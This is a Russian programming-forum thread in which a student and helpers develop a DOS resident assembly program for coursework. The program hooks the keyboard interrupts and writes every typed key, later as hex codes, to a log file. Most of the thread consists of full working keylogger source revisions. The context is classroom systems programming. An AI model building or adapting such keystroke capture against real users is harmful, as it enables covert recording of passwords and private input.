Форум программистов, компьютерный форум, киберфорум
Assembler: DOS/Real Mode/16-bits
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск  
 
 
Рейтинг 4.74/19: Рейтинг темы: голосов - 19, средняя оценка - 4.74
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13

Записать коды вводимых символов

21.05.2012, 08:55. Показов 4375. Ответов 39
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
есть резидентная программа, которая записывает символы нажатых клавиш в файл, а мне надо записать коды этих символов. И она без выгрузки. А надо, чтобы выгружалась при нажатии ctrl+x.
Помогите пожалуйста, я в этом деле полный нуль))
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
.286
cseg segment
assume cs:cseg, ds:cseg, ss:cseg, es:cseg
org 100h
 
Begin:
    jmp Init ; на метку инициализации
 
 
; === Обработчик 10h-ого прерывания ===
Int_10h_proc proc
       cmp ax,0FAAFh ;Это мы проверяем на повторную загрузку?
       jne Next_step ;Нет - смотрим дальше... 
 
       xchg ah,al    ;Да - меняем местами ah/al
       iret
 
Next_step:
       cmp ax,0FBAFh ;Это мы получаем текущий адрес log-файла?
       jne Run_int   ;Нет - передаем управление 10h-прерыванию... 
 
       push cs       ;Заносим в ES сегмент log-файла.
       pop es
       mov di,offset File_name ;Заносим в DI смещение log-файла
       iret          ;Выходим...
 
Run_int:
       jmp dword ptr cs:[0F8h] ;Передаем управление 10h-прерыванию.
Int_10h_proc endp
 
 
; === Обработчик 09h-ого прерывания ===
Int_09h_proc proc
       cli    ;Запрещаем все прерывания
       pushf  ;Дадим сперва управление...
       call dword ptr cs:[0FCh]  ;...оригинальному обработчику
 
       pusha       ;Сохраним регистры в стеке...
       push es
       push ds
 
       cld         ;Направление - вперед!
 
       in al,60h         ;Получим СКАН-КОД нажатой клавиши.
       test al,10000000b ;(=80h) Это отпускание клавиши?
       jnz Exit_09h      ;Если так, то сохранять ее код не надо 
 
       mov ax,cs   ;Сегментные регистры должны указывать на наш сегмент.
       mov ds,ax
       mov es,ax
 
       mov ah,1    ;Получим ASCII-код нажатой клавиши.
       int 16h
       jz Ext_code ;Буфер клавиатуры пуст? Тогда на выход. 
 
       or al,al        ;Введен расширенный код?
       jz Flash_buffer ;Тогда сохраним все, что вводили. 
 
       cmp al,13       ;Нажали Enter?
       jz Flash_buffer ;Тогда сохраняем введенные символы. 
 
       cmp al,27   ;ESC пропускаем...
       jz Ext_code
 
       cmp al,8    ;Нажали Backspace?
       jz Del_sym  ;Тогда удаляем последний символ из буфера 
 
       cmp al,09   ;Нажали TAB?
       jne NoTab_pressed ;Тогда просто поменяем его на пробел.
       mov al,32
 
NoTab_pressed:
       cmp al,32   ;Нажали что-то непонятное (код меньше 20h)?
       jb Ext_code ;Тогда на выход... 
 
       call Store_sym ;Иначе заносим введенный символ в буфер клавиатуры. 
 
Ext_code:
Exit_09h:
       pop ds ;Восстановим сохраненные регистры...
       pop es
       popa
 
       sti   ;Разрешим прерывания и
       iret  ;выходим из процедуры.
 
 
Flash_buffer:
       call Save_string   ;Сохраняем введенную строку в файл. 
       jmp short Exit_09h ;На выход. 
 
Del_sym:
       call Del_symbol    ;Пользователь нажал BackSpace!
       jmp short Exit_09h ;На выход. 
 
Int_09h_proc endp
 
 
; === Удаляем введенный символ, если пользователь нажал BackSpace ===
Del_symbol proc
       mov ax,cs:[0F6h] ;Занесем в AX количество введенных символов.
       or ax,ax         ;Буфер пуст?
       jz Exit_del      ;Тогда на выход. 
       dec word ptr cs:[0F6h] ;Иначе уменьшаем счетчик.
Exit_del:
       ret
Del_symbol endp
 
; === Заносим введенный символ в наш буфер ===
Store_sym proc
       mov di,cs:[0F6h] ;Занесем в DI количество введенных символов
       cmp di,79        ;Оно больше 79?
       jb OK_store ;Нет, меньше. Тогда дописываем в буфер очередной символ. 
 
       push di     ;Иначе сбросим буфер в файл.
       push ax
       call Save_string
       pop ax
       pop di
 
OK_store:
       stosb ;Занесем очередной символ в буфер.
       inc word ptr cs:[0F6h] ;Увеличим счетчик.
       ret   ;Вернемся... 
Store_sym endp
 
; === Записываем введенную строку в файл ===
Save_string proc
       mov di,cs:[0F6h] ;Занесем в DI количество символов в буфере.
       or di,di         ;Оно равно 0?
       jz Nothing_save  ;Тогда писать в файл ничего не надо. 
       add word ptr cs:[0F6h],2 ;Иначе допишем к концу строки...
       mov ax,0A0Dh             ;...переход на новую строку
       stosw                    ;(для удобства чтения).
 
       mov ax,3D02h    ;Откроем файл для чтения/записи.
       mov dx,offset File_name
       int 21h
       jc Nothing_save ;При ошибке - на выход... 
       mov Handle,ax
 
       mov bx,ax
       mov ax,4202h    ;Установим указатель на конец файла.
       xor cx,cx
       xor dx,dx
       int 21h
 
       mov cx,cs:[0F6h] ;CX=количество записываемых символов.
       mov bx,Handle
       xor dx,dx        ;Пишем с самого начала буфера.
       mov ah,40h
       int 21h          ;Добавляем в файл введенные символы...
 
       mov bx,Handle    ;Закроем файл.
       mov ah,3Eh
       int 21h
 
Nothing_save:
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода.
       ret ;Вернемся.
 
File_name db 'c:\keys', 19 dup (0) ;Имя файла для хранения введенных символов.
Handle dw ?
Save_string endp
 
 
;   === Инициализация (подготовка и настройка резидента) ===
Init:
       mov ax,0FAAFh ;Проверка на повторную загрузку.
       int 10h
       cmp ax,0AFFAh
       jne Next_step2
 
       mov ah,9      ;Мы уже в памяти! Выведем соответствующую строку.
       mov dx,offset Mess_memory
       int 21h
 
       mov ax,0FBAFh ;Получим сегмент и смещение имени log-файла
       int 10h
 
       mov dx,di     ;Получим командную строку
       call Get_cmd
 
       mov ah,3Ch    ;Создадим новый файл для записи введенных символов.
       xor cx,cx     ;Атрибуты обычные
       push es
       pop ds
       int 21h
 
       push cs
       pop ds
 
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
No_cmdline:
       ret   ;Выйдем в DOS...
 
Next_step2:
       mov di,offset File_name ;DI - куда будем заносить параметры ком.строки.
       call Get_cmd ;Получим командную строку... 
 
       mov ah,9
       lea dx,Mess_hello ;!!! LEA DX вместо MOV DX, OFFSET
       int 21h
 
       mov es,word ptr cs:[2Ch] ;Получим сегмент окружения DOS.
       mov ah,49h               ;Функция освобождения памяти.
       int 21h                  ;Освобождаем память...
 
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода символов.
 
;Проверим, существует ли уже наш log-файл.
       mov ax,3D00h
       mov dx,offset File_name
       int 21h
       jnc Ok_file
 
;Если не существует, то:
       mov ah,3Ch ;Создадим новый файл для записи введенных символов.
       xor cx,cx  ;Атрибуты обычные
       mov dx,offset File_name
       int 21h
 
Ok_file:
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
; === 09h ===
       mov ax,3509h
       int 21h ;Получим и сохраним адрес (вектор) 09h прерывания
       mov word ptr cs:[0FCh],bx ;Смещение...
       mov word ptr cs:[0FEh],es ;Сегмент...
 
       mov ax,2509h
       lea dx,Int_09h_proc
       int 21h  ;"Повесим" нашу процедуру на 09h прерывание
 
; === 10h ===
       mov ax,3510h
       int 21h ;Получим и сохраним вектор 10h прерывания
       mov word ptr cs:[0F8h],bx
       mov word ptr cs:[0FAh],es
 
       mov ax,2510h
       lea dx,Int_10h_proc
       int 21h  ;"Повесим" нашу процедуру на 10h прерывание
 
       lea dx,Init
       int 27h  ;Оставим часть программы в памяти.
 
 
; --- Получим параметры в командной строке ---
Get_cmd proc
       mov si,80h   ;SI=смещение командной строки.
       lodsb        ;Получим кол-во символов.
       cmp al,25    ;Больше 25?
       ja No_string ;Да - на метку No_string 
       or al,al     ;Нет командной строки?
       jz No_string ;На метку No_string 
 
       inc si       ;Теперь SI указывает на первый символ строки.
 
Next_char:
       lodsb      ;Получаем очередной символ.
       cmp al,0Dh ;Конец строки?
       je Got_cmd ;Да - на выход... 
       stosb      ;Иначе - сохраним символ в переменной File_name
       jmp short Next_char ;Следующий символ... 
 
Got_cmd:
       xor al,al ;Строка получена! Допишем ASCII 0 в конец
       stosb
       clc  ;Сбросим флаг переноса...
       ret  ;Выходим из процедуры
 
No_string:
       stc  ;Строка неверна! Установим флаг переноса.
       ret  ;Выходим из процедуры
Get_cmd endp
 
 
;  === Сообщения ===
Mess_hello db 'Резидент загружен',0Ah,0Dh,0Ah
          
Mess_memory db 0Ah,0Dh,'Программа уже загружена в память!',0Ah,0Dh,0Ah
        
cseg ends
end Begin
1
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
21.05.2012, 08:55
Ответы с готовыми решениями:

Отображение вводимых символов
Запросить вначале login (имя пользователя), а затем пароль. При вводе пароля не отображать вводимые символы. Выдать сообщение...

Ограничение на количество вводимых символов
я заполняю буфер звездочками(*). есть 3 буфера. при вводе чисел эти звездочки(*) заполняются ими. допустим если я ввожу 123 то вместо...

Преобразование вводимых символов к верхнему регистру
Всем привет. Прошу помощи. Не получается написать программу, в которой вводимые символы преобразуються q,w,e,r,t,y ----> Q,W,E,R,T,Y....

39
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
25.05.2012, 20:28  [ТС]
Студворк — интернет-сервис помощи студентам
AFP, А какие меры?? У меня она нормально запускается. Пишет "резидент установлен", нажимаю любые клавиши (по заданию, основное поле клавиатуры). Нажимаю ctrl+x - пишет "программа выгружена". И записывает в файл нормально.
вот только надо чтобы коды писал=))))
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
25.05.2012, 20:39
castle_29, в ДОС окне сразу запускается VC, может в нем проблема.
Не знаю, в чем причина.
У Вас все символы пишутся правильно?
Строка Mess_hello db 'Резидент загружен',0Ah,0Dh,0Ah - не может выводиться правильно.
Mess_hello db 'Резидент загружен$' - может.
0
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
25.05.2012, 22:08  [ТС]
AFP, Символы пишутся правильно (нажала 1 - пишется 1=)).
Но вот обнаружилась такая проблема.
Запускаю COM файл, нажимаю например, 4. Потом запускаю ещё раз, соответственно выводится что программа уже загружена. Выгружаюсь. Открываю файл, и там ничего не записано! Почему так???

Добавлено через 2 минуты
Да и при выгрузке не пишет "программа выполнена".
Если вводишь символ, а потом выгружаешь, то и записывается в файл и сообщение выводится о выгрузке.

Добавлено через 1 минуту
точнее не выполнена, а выгружена =)

Добавлено через 35 минут
вот программа с добавленной выгрузкой
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
.286
cseg segment
assume cs:cseg, ds:cseg, ss:cseg, es:cseg
org 100h
 
Begin:
    jmp Init ; на метку инициализации
 
 
; === Обработчик 10h-ого прерывания ===
Int_10h_proc proc
       cmp ax,0FAAFh ;Это мы проверяем на повторную загрузку?
       jne Next_step ;Нет - смотрим дальше... 
 
       xchg ah,al    ;Да - меняем местами ah/al
       iret
 
Next_step:
       cmp ax,0FBAFh ;Это мы получаем текущий адрес log-файла?
       jne Run_int   ;Нет - передаем управление 10h-прерыванию... 
 
       push cs       ;Заносим в ES сегмент log-файла.
       pop es
       mov di,offset File_name ;Заносим в DI смещение log-файла
       iret          ;Выходим...
 
Run_int:
       jmp dword ptr cs:[0F8h] ;Передаем управление 10h-прерыванию.
Int_10h_proc endp
 
 
; === Обработчик 09h-ого прерывания ===
Int_09h_proc proc
       cli    ;Запрещаем все прерывания
       pushf  ;Дадим сперва управление...
       call dword ptr cs:[0FCh]  ;...оригинальному обработчику
       pushf
       pusha       ;Сохраним регистры в стеке...
       push ds es si di
                             ; push ds
 
      cld         ;Направление - вперед!
 
       in al,60h         ;Получим СКАН-КОД нажатой клавиши.
       test al,10000000b ;(=80h) Это отпускание клавиши?
       jnz Exit_09h      ;Если так, то сохранять ее код не надо 
       
       mov ax,cs   ;Сегментные регистры должны указывать на наш сегмент.
       mov ds,ax
       mov es,ax
 
       mov ah,1    ;Получим ASCII-код нажатой клавиши.
       int 16h
       jz Ext_code ;Буфер клавиатуры пуст? Тогда на выход. 
       
     cmp ax,2d18h 
      jz uninit
 
       or al,al        ;Введен расширенный код?
       jz Flash_buffer ;Тогда сохраним все, что вводили. 
 
       cmp al,13       ;Нажали Enter?
       jz Flash_buffer ;Тогда сохраняем введенные символы. 
        
             
     call Store_sym ;Иначе заносим введенный символ в буфер клавиатуры. 
 
 
Ext_code:  
   
Exit_09h:
       ;pop ds ;Восстановим сохраненные регистры...
       ;pop es
       ;popa
       pop di si es ds
       popa
       popf
       
       sti   ;Разрешим прерывания и
       iret  ;выходим из процедуры.
 
 
Flash_buffer:
        
       call Save_string   ;Сохраняем введенную строку в файл. 
       jmp short Exit_09h ;На выход. 
 
; выгружаем
uninit:
push ds
lds dx,cs:[0FCh]
mov ax,2509h
int 21h
mov AX, 2510h;восстановим старый вектор 
lds DX, cs:[0F8h]
int 21h 
pop ds
push cs
pop es
mov ah,49h
int 21h
call newline         
mov si,00h
push cs
pop es
lea bx,cs:EXIT
oou:
cmp si,11h
je  e_code
mov al,es:[bx]
int 10h
inc si
inc bx
jmp oou
e_code:
int 20h
jmp ext_code
                                   
Int_09h_proc endp 
 
 
newline proc
mov ah,0eh
mov al,0dh
int 10h
mov al,0ah
int 10h
ret
newline endp
 
; === Заносим введенный символ в наш буфер ===
Store_sym proc  
 
 mov di,cs:[0F6h] ;Занесем в DI количество введенных символов
       cmp di,79        ;Оно больше 79?
       jb OK_store ;Нет, меньше. Тогда дописываем в буфер очередной символ. 
 
       push di     ;Иначе сбросим буфер в файл.
       push ax
       call Save_string
       pop ax
       pop di
 
OK_store:
       stosb ;Занесем очередной символ в буфер.
       inc word ptr cs:[0F6h] ;Увеличим счетчик.
       ret   ;Вернемся... 
 
num     db  ?
 hex   db '0123456789ABCDEF'
Store_sym endp
 
; === Записываем введенную строку в файл ===
Save_string proc
       mov di,cs:[0F6h] ;Занесем в DI количество символов в буфере.
       or di,di         ;Оно равно 0?
       jz Nothing_save  ;Тогда писать в файл ничего не надо. 
       add word ptr cs:[0F6h],2 ;Иначе допишем к концу строки...
       mov ax,0A0Dh             ;...переход на новую строку
       stosw                    ;(для удобства чтения).
 
       mov ax,3D02h    ;Откроем файл для чтения/записи.
       mov dx,offset File_name
       int 21h
       jc Nothing_save ;При ошибке - на выход... 
       mov Handle,ax
 
       mov bx,ax
       mov ax,4202h    ;Установим указатель на конец файла.
       xor cx,cx
       xor dx,dx
       int 21h
 
       mov cx,cs:[0F6h] ;CX=количество записываемых символов.
       mov bx,Handle
       xor dx,dx        ;Пишем с самого начала буфера.
       mov ah,40h
       int 21h          ;Добавляем в файл введенные символы...
 
       mov bx,Handle    ;Закроем файл.
       mov ah,3Eh
       int 21h
 
Nothing_save:
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода.
       ret ;Вернемся.
 
File_name db 'keys.txt', 19 dup (0) ;Имя файла для хранения введенных символов.
Handle dw ?
Save_string endp
 
 
;   === Инициализация (подготовка и настройка резидента) ===
Init:
       mov ax,0FAAFh ;Проверка на повторную загрузку.
       int 10h
       cmp ax,0AFFAh
       jne Next_step2
 
       mov ah,9      ;Мы уже в памяти! Выведем соответствующую строку.
       mov dx,offset Mess_memory
       int 21h
 
       mov ax,0FBAFh ;Получим сегмент и смещение имени log-файла
       int 10h
 
       mov dx,di     ;Получим командную строку
       call Get_cmd
 
       mov ah,3Ch    ;Создадим новый файл для записи введенных символов.
       xor cx,cx     ;Атрибуты обычные
       push es
       pop ds
       int 21h
 
       push cs
       pop ds
 
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
No_cmdline:
       ret   ;Выйдем в DOS...
 
Next_step2:
       mov di,offset File_name ;DI - куда будем заносить параметры ком.строки.
       call Get_cmd ;Получим командную строку... 
 
       mov ah,9
       lea dx,Mess_hello ;!!! LEA DX вместо MOV DX, OFFSET
       int 21h
 
       mov es,word ptr cs:[2Ch] ;Получим сегмент окружения DOS.
       mov ah,49h               ;Функция освобождения памяти.
       int 21h                  ;Освобождаем память...
 
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода символов.
 
;Проверим, существует ли уже наш log-файл.
       mov ax,3D00h
       mov dx,offset File_name
       int 21h
       jnc Ok_file
 
;Если не существует, то:
       mov ah,3Ch ;Создадим новый файл для записи введенных символов.
       xor cx,cx  ;Атрибуты обычные
       mov dx,offset File_name
       int 21h
 
Ok_file:
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
; === 09h ===
       mov ax,3509h
       int 21h ;Получим и сохраним адрес (вектор) 09h прерывания
       mov word ptr cs:[0FCh],bx ;Смещение...
       mov word ptr cs:[0FEh],es ;Сегмент...
 
       mov ax,2509h
       lea dx,Int_09h_proc
       int 21h  ;"Повесим" нашу процедуру на 09h прерывание
 
; === 10h ===
       mov ax,3510h
       int 21h ;Получим и сохраним вектор 10h прерывания
       mov word ptr cs:[0F8h],bx
       mov word ptr cs:[0FAh],es
 
       mov ax,2510h
       lea dx,Int_10h_proc
       int 21h  ;"Повесим" нашу процедуру на 10h прерывание
 
       lea dx,Init
       int 27h  ;Оставим часть программы в памяти.
 
 
; --- Получим параметры в командной строке ---
Get_cmd proc
       mov si,80h   ;SI=смещение командной строки.
       lodsb        ;Получим кол-во символов.
       cmp al,25    ;Больше 25?
       ja No_string ;Да - на метку No_string 
       or al,al     ;Нет командной строки?
       jz No_string ;На метку No_string 
 
       inc si       ;Теперь SI указывает на первый символ строки.
 
Next_char:              
 
       lodsb      ;Получаем очередной символ.
       cmp al,0Dh ;Конец строки?
       je Got_cmd ;Да - на выход... 
       stosb      ;Иначе - сохраним символ в переменной File_name
       jmp short Next_char ;Следующий символ... 
 
Got_cmd:
       xor al,al ;Строка получена! Допишем ASCII 0 в конец
       stosb
       clc  ;Сбросим флаг переноса...
       ret  ;Выходим из процедуры
 
No_string:
       stc  ;Строка неверна! Установим флаг переноса.
       ret  ;Выходим из процедуры
Get_cmd endp
;  === Сообщения ===
 
Mess_hello db 0Ah,0Dh,'rezident loaded$ ',0Ah,0Dh
 
Mess_memory db 0Ah,0Dh,'programma uge zagrugena$',0Ah,0Dh
 
EXIT   db 13,10,'rezident unloaded$', 13,10 
cseg ends
end Begin
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
26.05.2012, 18:07
У меня программа работает очень нестабильно. Редко когда удается записать символы два раза. Как улучшить я не знаю.
Места, где подправлял, отмечены звездочками.
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
; === Заносим введенный символ в наш буфер ===
Store_sym proc  
 
 mov di,cs:[0F6h] ;Занесем в DI количество введенных символов
;****************
       cmp di,78 ;79        ;Оно больше 79?
;*****************
       jb OK_store ;Нет, меньше. Тогда дописываем в буфер очередной символ. 
 
       push di     ;Иначе сбросим буфер в файл.
       push ax
       call Save_string
       pop ax
       pop di
 
OK_store:
;**************
;Вход: AL-символ
;Выход: AX-преобразованный символ
    xor ah,ah
    shl ax,4
    shr al,4
    cmp al,10
    sbb al,69h
    das
    xchg al,ah
    cmp al,10
    sbb al,69h
    das
 
       stosw            ;Занесем очередной символ в буфер.
    mov byte ptr [di],' '        ;записать пробел
    inc di
    add word ptr cs:[0F6h],3 ;два символа и пробел
;*************
;       stosb ;Занесем очередной символ в буфер.
;       inc word ptr cs:[0F6h] ;Увеличим счетчик.
       ret   ;Вернемся... 
;*************** 
;num     db  ?
; hex   db '0123456789ABCDEF'
;****************
Store_sym endp
 
; === Записываем введенную строку в файл ===
Save_string proc
       mov di,cs:[0F6h] ;Занесем в DI количество символов в буфере.
       or di,di         ;Оно равно 0?
       jz Nothing_save  ;Тогда писать в файл ничего не надо. 
       add word ptr cs:[0F6h],2 ;Иначе допишем к концу строки...
       mov ax,0A0Dh             ;...переход на новую строку
;*****
dec di  ;записать на место последнего пробела
;*****
      stosw                    ;(для удобства чтения).
 
       mov ax,3D02h    ;Откроем файл для чтения/записи.
       mov dx,offset File_name
       int 21h
       jc Nothing_save ;При ошибке - на выход... 
       mov Handle,ax
 
       mov bx,ax
       mov ax,4202h    ;Установим указатель на конец файла.
       xor cx,cx
       xor dx,dx
       int 21h
 
       mov cx,cs:[0F6h] ;CX=количество записываемых символов.
;**********
dec cx
;**********
       mov bx,Handle
       xor dx,dx        ;Пишем с самого начала буфера.
       mov ah,40h
       int 21h          ;Добавляем в файл введенные символы...
 
       mov bx,Handle    ;Закроем файл.
       mov ah,3Eh
       int 21h
 
Nothing_save:
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода.
       ret ;Вернемся.
 
File_name db 'keys.txt', 19 dup (0) ;Имя файла для хранения введенных символов.
Handle dw ?
Save_string endp
1
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
26.05.2012, 20:54  [ТС]
AFP, Спасибо большое!!!!!!!!!!!!!
да, два раза у меня тоже не записывает, и ещё он не пишет что выгрузился, когда проверяю, загружен ли в память, но я попытаюсь разобраться!!!!

Всем большое, огромнейшее спасибо!!!!!!!!!!
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
27.05.2012, 19:55
castle_29, есть новая программа, которая не виснет, но только на 28 прерывании и без выгрузки из памяти.
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
;TASM, COM-файл
.model tiny
.code
.386
org 100h
start:
Int_28h:
    jmp Initial ;3 Ў*©в*
    dw  0   ;Ё ҐйҐ 3 ¤«п Є®¬**¤л pushf Ё call [int_1C]
    db  0
pushf
push es ds si di
pusha
    push cs
    pop ds
    push cs
    pop es
push es
    push 40h
    pop es
 
    mov si,es:[1ch]
    cmp [m1C],si
    jz short Exit_28
    mov [m1C],si
    mov ax,es:[si-2]
pop es
    test al,al
    jz short Ext_code
 
    cmp al,1Eh
    jz short Ext_code
 
    cmp al,13       ;Нажали Enter?
    jnz short Not_enter ;Тогда сохраняем введенные символы.
    call Save_string
    jmp short Ext_code
Not_enter:
    cmp al,27       ;ESC пропускаем...
    jz short Ext_code
 
    cmp al,8            ;Нажали Backspace?
    jnz short Not_del       ;Тогда удаляем последний символ из буфера 
    call Del_symbol
    jmp short Ext_code
Not_del:
    cmp al,9        ;Нажали TAB?
    jnz short NoTab_pressed ;Тогда просто поменяем его на пробел.
;   mov al,32       ;Если нужен пробел, а не табуляцмя
    jmp short Save
NoTab_pressed:
    cmp al,32
    jz short Save
 
    test ah,ah
    jnz short Ext_code
Save:
    call Store_sym      ;Иначе заносим введенный символ в буфер клавиатуры. 
    jmp short Ext_code
 
Exit_28:
 
pop es
 
Ext_code:
 
popa
pop di si ds es
popf
    iret
;---------------------------------
INT_28  dd  ?
;---------------------------------
 
; === Удаляем введенный символ, если пользователь нажал BackSpace ===
Del_symbol proc near
    mov di,[DI_tmp]
    cmp word ptr [Len],0
    jz short Exit_del   ;Тогда на выход. 
    sub [Len],3     ;Иначе уменьшаем счетчик.
    sub [DI_tmp],3
Exit_del:
    ret
Del_symbol endp
 
; === Заносим введенный символ в наш буфер ===
Store_sym proc near
    mov di,[DI_tmp]
 
    xor ah,ah
    shl ax,4
    shr al,4
    cmp al,10
    sbb al,69h
    das
    xchg al,ah
    cmp al,10
    sbb al,69h
    das
 
    stosw           ;Занесем очередной символ в буфер.
    mov byte ptr [di],' '
    inc di
    mov [Di_tmp],di
    add word ptr [Len],3
    cmp word ptr [Len],78
    jnz short not_save
    call Save_string
not_save:
    ret         ;Вернемся... 
Store_sym endp
 
; === Записываем введенную строку в файл ===
Save_string proc near
    mov di,[DI_tmp]
    cmp word ptr [Len],0
    jz short Nothing_save   ;Тогда писать в файл ничего не надо. 
    inc [Len]
    mov ax,0A0Dh        ;...переход на новую строку
    dec di
    stosw           ;(для удобства чтения).
 
    mov ah,3Dh;02h      ;Откроем файл для чтения/записи.
    mov al,11000010b
    lea dx,File_name
    int 21h
    jc short Nothing_save   ;При ошибке - на выход... 
    mov [Handle],ax
 
    mov bx,ax
    mov ax,4202h        ;Установим указатель на конец файла.
    xor cx,cx
    xor dx,dx
    int 21h
 
    mov cx,[Len]        ;CX=количество записываемых символов.
    mov bx,[Handle]
    lea dx,buf
    mov ah,40h
    int 21h         ;Добавляем в файл введенные символы...
 
    mov bx,[Handle]     ;Закроем файл.
    mov ah,3Eh
    int 21h
 
Nothing_save:
    mov word ptr [Len],0    ;Обнулим буфер ввода.
    lea di,buf
    mov [DI_tmp],di
 
       ret          ;Вернемся.
 
File_name db 'keys.txt',0;Имя файла для хранения введенных символов.
m1C dw ?
Len dw 0
DI_tmp  dw ?
Handle  dw ?
buf db 79 dup (30h)
Save_string endp
;******************************************* 
;   === Инициализация (подготовка и настройка резидента) ===
Initial:
 
    lea di,buf
    mov [DI_tmp],di
push es
    push 40
    pop es
    mov si,es:[1Ch]
    mov [m1C],si
 
; === 09h ===
       mov ax,3528h
       int 21h      ;Получим и сохраним адрес (вектор) 09h прерывания
       mov word ptr [Int_28],bx     ;Смещение...
       mov word ptr [Int_28+2],es   ;Сегмент...
 
       mov ax,2528h
       lea dx,Int_28h
       int 21h      ;"Повесим" нашу процедуру на 09h прерывание
pop es 
    mov cx,6
    lea si,_int
    lea di,start
    rep movsb
 
    mov ah,5Bh      ;Откроем файл для чтения/записи.
    mov cx,00100000b
    lea dx,File_name
    int 21h
    jc Nothing_save     ;При ошибке - на выход... 
    mov [Handle],ax
 
;       mov ah,3Eh
;       int 21h
 
       lea dx,Initial
       int 27h      ;Оставим часть программы в памяти.
 
_int:               ;ЇҐаўлҐ Є®¬**¤л ¤«п ¬®©Ј® ®Ўа*Ў®взЁЄ*
pushf
call dword ptr cs:[Int_28]
 
    end start
0
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
27.05.2012, 20:29  [ТС]
AFP, у меня в файл пишутся только код пробела, хотя я его не ввожу=///
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
27.05.2012, 22:31
У меня все работает правильно.
Распаковать, желательно в отдельную папку, выполнить compile.bat.
В архиве есть СОМ – файл, мой TASM и TLINK.
Вложения
Тип файла: rar savekeys.rar (114.7 Кб, 16 просмотров)
2
1 / 1 / 0
Регистрация: 21.05.2012
Сообщений: 13
28.05.2012, 17:40  [ТС]
СПАСИБО ЕЩЁ РАЗ ВСЕМ!!!!!
курсовик защитила на отлично!!!!!!!!!
=))))))))))))))
0
0 / 0 / 0
Регистрация: 10.01.2013
